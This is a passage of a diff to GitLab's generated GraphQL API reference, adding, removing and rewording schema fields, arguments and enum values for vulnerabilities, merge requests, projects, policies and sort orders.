id="groupepicsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | +| <a id="groupepicsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | | <a id="groupepicssearch"></a>`search` | [`String`](#string) | Search query for epic title or description. | | <a id="groupepicssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="groupepicsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -9268,27 +9509,6 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="groupvulnerabilitiescountbydayenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. | | <a id="groupvulnerabilitiescountbydaystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. | -##### `Group.vulnerabilitiesCountByDayAndSeverity` - -Number of vulnerabilities per severity level, per day, for the projects in the group and its subgroups. - -WARNING: -**Deprecated** in 13.3. -Use `vulnerabilitiesCountByDay`. - -Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection). - -This field returns a [connection](#connections). It accepts the -four standard [pagination arguments](#connection-pagination-arguments): -`before: String`, `after: String`, `first: Int`, `last: Int`. - -###### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="groupvulnerabilitiescountbydayandseverityenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. | -| <a id="groupvulnerabilitiescountbydayandseveritystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. | - ##### `Group.vulnerabilityGrades` Represents vulnerable project counts for each grade. @@ -9311,9 +9531,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="groupvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. | +| <a id="groupvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. | | <a id="groupvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. | | <a id="groupvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. | | <a id="groupvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. | +| <a id="groupvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. | | <a id="groupvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. | | <a id="groupvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. | @@ -9332,7 +9555,7 @@ Represents a Group Membership. | <a id="groupmembergroup"></a>`group` | [`Group`](#group) | Group that a User is a member of. | | <a id="groupmemberid"></a>`id` | [`ID!`](#id) | ID of the member. | | <a id="groupmemberupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. | -| <a id="groupmemberuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. | +| <a id="groupmemberuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. | | <a id="groupmemberuserpermissions"></a>`userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. | ### `GroupPermissions` @@ -9463,12 +9686,27 @@ A block of time for which a participant is on-call. | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="instancesecuritydashboardprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Projects selected in Instance Security Dashboard. (see [Connections](#connections)) | | <a id="instancesecuritydashboardvulnerabilitygrades"></a>`vulnerabilityGrades` | [`[VulnerableProjectsByGrade!]!`](#vulnerableprojectsbygrade) | Represents vulnerable project counts for each grade. | | <a id="instancesecuritydashboardvulnerabilityscanners"></a>`vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the vulnerabilities from projects selected in Instance Security Dashboard. (see [Connections](#connections)) | #### Fields with arguments +##### `InstanceSecurityDashboard.projects` + +Projects selected in Instance Security Dashboard. + +Returns [`ProjectConnection!`](#projectconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="instancesecuritydashboardprojectssearch"></a>`search` | [`String`](#string) | Search query for project name, path, or description. | + ##### `InstanceSecurityDashboard.vulnerabilitySeveritiesCount` Counts for each vulnerability severity from projects selected in Instance Security Dashboard. @@ -9479,9 +9717,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="instancesecuritydashboardvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. | +| <a id="instancesecuritydashboardvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. | | <a id="instancesecuritydashboardvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. | | <a id="instancesecuritydashboardvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. | | <a id="instancesecuritydashboardvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. | +| <a id="instancesecuritydashboardvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. | | <a id="instancesecuritydashboardvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. | | <a id="instancesecuritydashboardvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. | @@ -9743,7 +9984,6 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="labeldescription"></a>`description` | [`String`](#string) | Description of the label (Markdown rendered as HTML for caching). | | <a id="labeldescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | <a id="labelid"></a>`id` | [`ID!`](#id) | Label ID. | -| <a id="labelremoveonclose"></a>`removeOnClose` | [`Boolean!`](#boolean) | Whether the label should be removed from an issue when the issue is closed. | | <a id="labeltextcolor"></a>`textColor` | [`String!`](#string) | Text color of the label. | | <a id="labeltitle"></a>`title` | [`String!`](#string) | Content of the label. | | <a id="labelupdatedat"></a>`updatedAt` | [`Time!`](#time) | When this label was last updated. | @@ -9774,6 +10014,7 @@ Represents an entry from the Cloud License history. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="licensehistoryentryactivatedat"></a>`activatedAt` | [`Date`](#date) | Date when the license was activated. | +| <a id="licensehistoryentryblockchangesat"></a>`blockChangesAt` | [`Date`](#date) | Date, including grace period, when licensed features will be blocked. | | <a id="licensehistoryentrycompany"></a>`company` | [`String`](#string) | Company of the licensee. | | <a id="licensehistoryentryemail"></a>`email` | [`String`](#string) | Email of the licensee. | | <a id="licensehistoryentryexpiresat"></a>`expiresAt` | [`Date`](#date) | Date when the license expires. | @@ -9837,6 +10078,8 @@ Maven metadata. | <a id="mergerequesthasci"></a>`hasCi` | [`Boolean!`](#boolean) | Indicates if the merge request has CI. | | <a id="mergerequesthassecurityreports"></a>`hasSecurityReports` | [`Boolean!`](#boolean) | Indicates if the source branch has any security reports. | | <a id="mergerequestheadpipeline"></a>`headPipeline` | [`Pipeline`](#pipeline) | The pipeline running on the branch HEAD of the merge request. | +| <a id="mergerequesthumantimeestimate"></a>`humanTimeEstimate` | [`String`](#string) | Human-readable time estimate of the merge request. | +| <a id="mergerequesthumantotaltimespent"></a>`humanTotalTimeSpent` | [`String`](#string) | Human-readable total time reported as spent on the merge request. | | <a id="mergerequestid"></a>`id` | [`ID!`](#id) | ID of the merge request. | | <a id="mergerequestiid"></a>`iid` | [`String!`](#string) | Internal ID of the merge request. | | <a id="mergerequestinprogressmergecommitsha"></a>`inProgressMergeCommitSha` | [`String`](#string) | Commit SHA of the merge request if merge is in progress. | @@ -9844,7 +10087,8 @@ Maven metadata. | <a id="mergerequestmergecommitsha"></a>`mergeCommitSha` | [`String`](#string) | SHA of the merge request commit (set once merged). | | <a id="mergerequestmergeerror"></a>`mergeError` | [`String`](#string) | Error message due to a merge error. | | <a id="mergerequestmergeongoing"></a>`mergeOngoing` | [`Boolean!`](#boolean) | Indicates if a merge is currently occurring. | -| <a id="mergerequestmergestatus"></a>`mergeStatus` | [`String`](#string) | Status of the merge request. | +| <a id="mergerequestmergestatus"></a>`mergeStatus` **{warning-solid}** | [`String`](#string) | **Deprecated** in 14.0. This was renamed. Use: [`MergeRequest.mergeStatusEnum`](#mergerequestmergestatusenum). | +| <a id="mergerequestmergestatusenum"></a>`mergeStatusEnum` | [`MergeStatus`](#mergestatus) | Merge status of the merge request. | | <a id="mergerequestmergetrainscount"></a>`mergeTrainsCount` | [`Int`](#int) | Number of merge requests in the merge train. | | <a id="mergerequestmergeuser"></a>`mergeUser` | [`UserCore`](#usercore) | User who merged this merge request. | | <a id="mergerequestmergewhenpipelinesucceeds"></a>`mergeWhenPipelineSucceeds` | [`Boolean`](#boolean) | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS). | @@ -10493,6 +10737,21 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="namespaceprojectssearch"></a>`search` | [`String`](#string) | Search project with most similar names or paths. | | <a id="namespaceprojectssort"></a>`sort` | [`NamespaceProjectSort`](#namespaceprojectsort) | Sort projects by this criteria. | +### `NetworkPolicy` + +Represents the network policy. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="networkpolicyenabled"></a>`enabled` | [`Boolean!`](#boolean) | Indicates whether this policy is enabled. | +| <a id="networkpolicyfromautodevops"></a>`fromAutoDevops` | [`Boolean!`](#boolean) | Indicates whether this policy is created from AutoDevops. | +| <a id="networkpolicyname"></a>`name` | [`String!`](#string) | Name of the policy. | +| <a id="networkpolicynamespace"></a>`namespace` | [`String!`](#string) | Namespace of the policy. | +| <a id="networkpolicyupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the policy YAML was last updated. | +| <a id="networkpolicyyaml"></a>`yaml` | [`String!`](#string) | YAML definition of the policy. | + ### `Note` #### Fields @@ -10877,6 +11136,7 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="pipelinesecurityreportfindingscanner"></a>`scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. | | <a id="pipelinesecurityreportfindingseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability finding. | | <a id="pipelinesecurityreportfindingsolution"></a>`solution` | [`String`](#string) | URL to the vulnerability's details page. | +| <a id="pipelinesecurityreportfindingstate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | The finding status. | | <a id="pipelinesecurityreportfindinguuid"></a>`uuid` | [`String`](#string) | Name of the vulnerability finding. | ### `Project` @@ -10886,6 +11146,7 @@ Represents vulnerability finding of a security report on the pipeline. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="projectactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for the repository in bytes. | +| <a id="projectagentconfigurations"></a>`agentConfigurations` | [`AgentConfigurationConnection`](#agentconfigurationconnection) | Agent configurations defined by the project. (see [Connections](#connections)) | | <a id="projectallowmergeonskippedpipeline"></a>`allowMergeOnSkippedPipeline` | [`Boolean`](#boolean) | If `only_allow_merge_if_pipeline_succeeds` is true, indicates if merge requests of the project can also be merged with skipped jobs. | | <a id="projectapifuzzingciconfiguration"></a>`apiFuzzingCiConfiguration` | [`ApiFuzzingCiConfiguration`](#apifuzzingciconfiguration) | API fuzzing configuration for the project. | | <a id="projectarchived"></a>`archived` | [`Boolean`](#boolean) | Indicates the archived status of the project. | @@ -10911,6 +11172,7 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="projecthttpurltorepo"></a>`httpUrlToRepo` | [`String`](#string) | URL to connect to the project via HTTPS. | | <a id="projectid"></a>`id` | [`ID!`](#id) | ID of the project. | | <a id="projectimportstatus"></a>`importStatus` | [`String`](#string) | Status of import background job of the project. | +| <a id="projectincidentmanagementescalationpolicies"></a>`incidentManagementEscalationPolicies` | [`EscalationPolicyTypeConnection`](#escalationpolicytypeconnection) | Incident Management escalation policies of the project. (see [Connections](#connections)) | | <a id="projectissuesenabled"></a>`issuesEnabled` | [`Boolean`](#boolean) | Indicates if Issues are enabled for the current user. | | <a id="projectjiraimportstatus"></a>`jiraImportStatus` | [`String`](#string) | Status of Jira import background job of the project. | | <a id="projectjiraimports"></a>`jiraImports` | [`JiraImportConnection`](#jiraimportconnection) | Jira imports into the project. (see [Connections](#connections)) | @@ -10937,6 +11199,7 @@ Represents vulnerability finding of a security report on the pipeline. | <a id="projectrequestaccessenabled"></a>`requestAccessEnabled` | [`Boolean`](#boolean) | Indicates if users can request member access to the project. | | <a id="projectrequirementstatescount"></a>`requirementStatesCount` | [`RequirementStatesCount`](#requirementstatescount) | Number of requirements for the project by their state. | | <a id="projectsastciconfiguration"></a>`sastCiConfiguration` | [`SastCiConfiguration`](#sastciconfiguration) | SAST CI configuration for the project. | +| <a id="projectscanexecutionpolicies"></a>`scanExecutionPolicies` | [`ScanExecutionPolicyConnection`](#scanexecutionpolicyconnection) | Scan Execution Policies of the project. (see [Connections](#connections)) | | <a id="projectsecuritydashboardpath"></a>`securityDashboardPath` | [`String`](#string) | Path to project's security dashboard. | | <a id="projectsecurityscanners"></a>`securityScanners` | [`SecurityScanners`](#securityscanners) | Information about security analyzers used in the project. | | <a id="projectsentryerrors"></a>`sentryErrors` | [`SentryErrorCollection`](#sentryerrorcollection) | Paginated collection of Sentry errors on the project. | @@ -11184,6 +11447,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projectenvironmentssearch"></a>`search` | [`String`](#string) | Search query for environment name. | | <a id="projectenvironmentsstates"></a>`states` | [`[String!]`](#string) | States of environments that should be included in result. | +##### `Project.incidentManagementEscalationPolicy` + +Incident Management escalation policy of the project. + +Returns [`EscalationPolicyType`](#escalationpolicytype). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectincidentmanagementescalationpolicyid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | ID of the escalation policy. | + ##### `Project.incidentManagementOncallSchedules` Incident Management On-call schedules of the project. @@ -11454,6 +11729,22 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="projectmilestonestimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. | | <a id="projectmilestonestitle"></a>`title` | [`String`](#string) | The title of the milestone. | +##### `Project.networkPolicies` + +Network Policies of the project. + +Returns [`NetworkPolicyConnection`](#networkpolicyconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="projectnetworkpoliciesenvironmentid"></a>`environmentId` | [`EnvironmentID`](#environmentid) | The global ID of the environment to filter policies. | + ##### `Project.packages` Packages of the project. @@ -11616,8 +11907,8 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="projectservicesactive"></a>`active` | [`Boolean`](#boolean) | Indicates if the service is active. | -| <a id="projectservicestype"></a>`type` | [`ServiceType`](#servicetype) | Class name of the service. | +| <a id="projectservicesactive"></a>`active` | [`Boolean`](#boolean) | Indicates if the integration is active. | +| <a id="projectservicestype"></a>`type` | [`ServiceType`](#servicetype) | Type of integration. | ##### `Project.snippets` @@ -11699,9 +11990,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="projectvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. | +| <a id="projectvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. | | <a id="projectvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. | | <a id="projectvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. | | <a id="projectvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. | +| <a id="projectvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. | | <a id="projectvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. | | <a id="projectvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. | @@ -11711,6 +12005,7 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount). | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="projectcicdsettingjobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI job tokens generated in this project have restricted access to resources. | | <a id="projectcicdsettingkeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Whether to keep the latest builds artifacts. | | <a id="projectcicdsettingmergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Whether merge pipelines are enabled. | | <a id="projectcicdsettingmergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Whether merge trains are enabled. | @@ -11731,7 +12026,7 @@ Represents a Project Membership. | <a id="projectmemberid"></a>`id` | [`ID!`](#id) | ID of the member. | | <a id="projectmemberproject"></a>`project` | [`Project`](#project) | Project that User is a member of. | | <a id="projectmemberupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. | -| <a id="projectmemberuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. | +| <a id="projectmemberuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. | | <a id="projectmemberuserpermissions"></a>`userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. | ### `ProjectPermissions` @@ -11821,6 +12116,17 @@ Represents rules that commit pushes must follow. | ---- | ---- | ----------- | | <a id="pushrulesrejectunsignedcommits"></a>`rejectUnsignedCommits` | [`Boolean!`](#boolean) | Indicates whether commits not signed through GPG will be rejected. | +### `PypiMetadata` + +Pypi metadata. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="pypimetadataid"></a>`id` | [`PackagesPypiMetadatumID!`](#packagespypimetadatumid) | ID of the metadatum. | +| <a id="pypimetadatarequiredpython"></a>`requiredPython` | [`String`](#string) | Required Python version of the Pypi package. | + ### `RecentFailures` Recent failure history of a test case. @@ -12091,18 +12397,6 @@ Counts of requirements by their state. | <a id="rootstoragestatisticsuploadssize"></a>`uploadsSize` | [`Float!`](#float) | The uploads size in bytes. | | <a id="rootstoragestatisticswikisize"></a>`wikiSize` | [`Float!`](#float) | The wiki size in bytes. | -### `RunDASTScanPayload` - -Autogenerated return type of RunDASTScan. - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="rundastscanpayloadclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="rundastscanpayloaderrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="rundastscanpayloadpipelineurl"></a>`pipelineUrl` | [`String`](#string) | URL of the pipeline that was created. | - ### `RunnerArchitecture` #### Fields @@ -12196,6 +12490,20 @@ Represents the security scan information. | <a id="scanerrors"></a>`errors` | [`[String!]!`](#string) | List of errors. | | <a id="scanname"></a>`name` | [`String!`](#string) | Name of the scan. | +### `ScanExecutionPolicy` + +Represents the scan execution policy. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="scanexecutionpolicydescription"></a>`description` | [`String!`](#string) | Description of the policy. | +| <a id="scanexecutionpolicyenabled"></a>`enabled` | [`Boolean!`](#boolean) | Indicates whether this policy is enabled. | +| <a id="scanexecutionpolicyname"></a>`name` | [`String!`](#string) | Name of the policy. | +| <a id="scanexecutionpolicyupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the policy YAML was last updated. | +| <a id="scanexecutionpolicyyaml"></a>`yaml` | [`String!`](#string) | YAML definition of the policy. | + ### `ScannedResource` Represents a resource scanned by a security scan. @@ -12431,7 +12739,6 @@ Represents a snippet entry. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="snippetauthor"></a>`author` | [`UserCore`](#usercore) | The owner of the snippet. | -| <a id="snippetblob"></a>`blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated** in 13.3. Use `blobs`. | | <a id="snippetcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp this snippet was created. | | <a id="snippetdescription"></a>`description` | [`String`](#string) | Description of the snippet. | | <a id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | @@ -13049,18 +13356,6 @@ Represents the count of vulnerabilities by severity on a particular day. This da | <a id="vulnerabilitiescountbydaytotal"></a>`total` | [`Int!`](#int) | Total number of vulnerabilities on a particular day. | | <a id="vulnerabilitiescountbydayunknown"></a>`unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity. | -### `VulnerabilitiesCountByDayAndSeverity` - -Represents the number of vulnerabilities for a particular severity on a particular day. This data is retained for 365 days. - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="vulnerabilitiescountbydayandseveritycount"></a>`count` | [`Int`](#int) | Number of vulnerabilities. | -| <a id="vulnerabilitiescountbydayandseverityday"></a>`day` | [`ISO8601Date`](#iso8601date) | Date for the count. | -| <a id="vulnerabilitiescountbydayandseverityseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the counted vulnerabilities. | - ### `Vulnerability` Represents a vulnerability. @@ -13537,10 +13832,10 @@ Values for sorting alerts. | <a id="alertmanagementalertsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | | <a id="alertmanagementalertsortupdated_time_asc"></a>`UPDATED_TIME_ASC` | Created time by ascending order. | | <a id="alertmanagementalertsortupdated_time_desc"></a>`UPDATED_TIME_DESC` | Created time by descending order. | -| <a id="alertmanagementalertsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | -| <a id="alertmanagementalertsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | -| <a id="alertmanagementalertsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | -| <a id="alertmanagementalertsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | +| <a id="alertmanagementalertsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a id="alertmanagementalertsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="alertmanagementalertsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="alertmanagementalertsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | ### `AlertManagementDomainFilter` @@ -13699,7 +13994,9 @@ Values for sorting runners. | Value | Description | | ----- | ----------- | | <a id="cirunnersortcontacted_asc"></a>`CONTACTED_ASC` | Ordered by contacted_at in ascending order. | -| <a id="cirunnersortcreated_desc"></a>`CREATED_DESC` | Ordered by created_date in descending order. | +| <a id="cirunnersortcontacted_desc"></a>`CONTACTED_DESC` | Ordered by contacted_at in descending order. | +| <a id="cirunnersortcreated_asc"></a>`CREATED_ASC` | Ordered by created_at in ascending order. | +| <a id="cirunnersortcreated_desc"></a>`CREATED_DESC` | Ordered by created_at in descending order. | ### `CiRunnerStatus` @@ -13810,10 +14107,10 @@ Values for sorting container repositories. | <a id="containerrepositorysortname_desc"></a>`NAME_DESC` | Name by descending order. | | <a id="containerrepositorysortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. | | <a id="containerrepositorysortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | -| <a id="containerrepositorysortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | -| <a id="containerrepositorysortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | -| <a id="containerrepositorysortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | -| <a id="containerrepositorysortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | +| <a id="containerrepositorysortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a id="containerrepositorysortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| <a id="containerrepositorysortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| <a id="containerrepositorysortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | ### `ContainerRepositoryStatus` @@ -13935,10 +14232,10 @@ Roadmap sort values. | <a id="epicsortend_date_desc"></a>`END_DATE_DESC` | Sort by end date in descending order. | | <a id="epicsortstart_date_asc"></a>`START_DATE_ASC` | Sort by start date in ascending order. | | <a id="epicsortstart_date_desc"></a>`START_DATE_DESC` | Sort by start date in descending order. | -| <a id="epicsortend_date_asc"></a>`end_date_asc` **{warning-solid}** | **Deprecated:** Use END_DATE_ASC. Deprecated in 13.11. | -| <a id="epicsortend_date_desc"></a>`end_date_desc` **{warning-solid}** | **Deprecated:** Use END_DATE_DESC. Deprecated in 13.11. | -| <a id="epicsortstart_date_asc"></a>`start_date_asc` **{warning-solid}** | **Deprecated:** Use START_DATE_ASC. Deprecated in 13.11. | -| <a id="epicsortstart_date_desc"></a>`start_date_desc` **{warning-solid}** | **Deprecated:** Use START_DATE_DESC. Deprecated in 13.11. | +| <a id="epicsortend_date_asc"></a>`end_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_ASC. | +| <a id="epicsortend_date_desc"></a>`end_date_desc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_DESC. | +| <a id="epicsortstart_date_asc"></a>`start_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use START_DATE_ASC. | +| <a id="epicsortstart_date_desc"></a>`start_date_desc` **{warning-solid}** | **Deprecated** in 13.11. Use START_DATE_DESC. | ### `EpicState` @@ -13968,6 +14265,15 @@ Epic ID wildcard values. | <a id="epicwildcardidany"></a>`ANY` | Any epic is assigned. | | <a id="epicwildcardidnone"></a>`NONE` | No epic is assigned. | +### `EscalationRuleStatus` + +Escalation rule statuses. + +| Value | Description | +| ----- | ----------- | +| <a id="escalationrulestatusacknowledged"></a>`ACKNOWLEDGED` | . | +| <a id="escalationrulestatusresolved"></a>`RESOLVED` | . | + ### `EventAction` Event action. @@ -14058,10 +14364,10 @@ Values for sorting issues. | <a id="issuesortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. | | <a id="issuesortweight_asc"></a>`WEIGHT_ASC` | Weight by ascending order. | | <a id="issuesortweight_desc"></a>`WEIGHT_DESC` | Weight by descending order. | -| <a id="issuesortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | -| <a id="issuesortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | -| <a id="issuesortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | -| <a id="issuesortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | +| <a id="issuesortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| <a 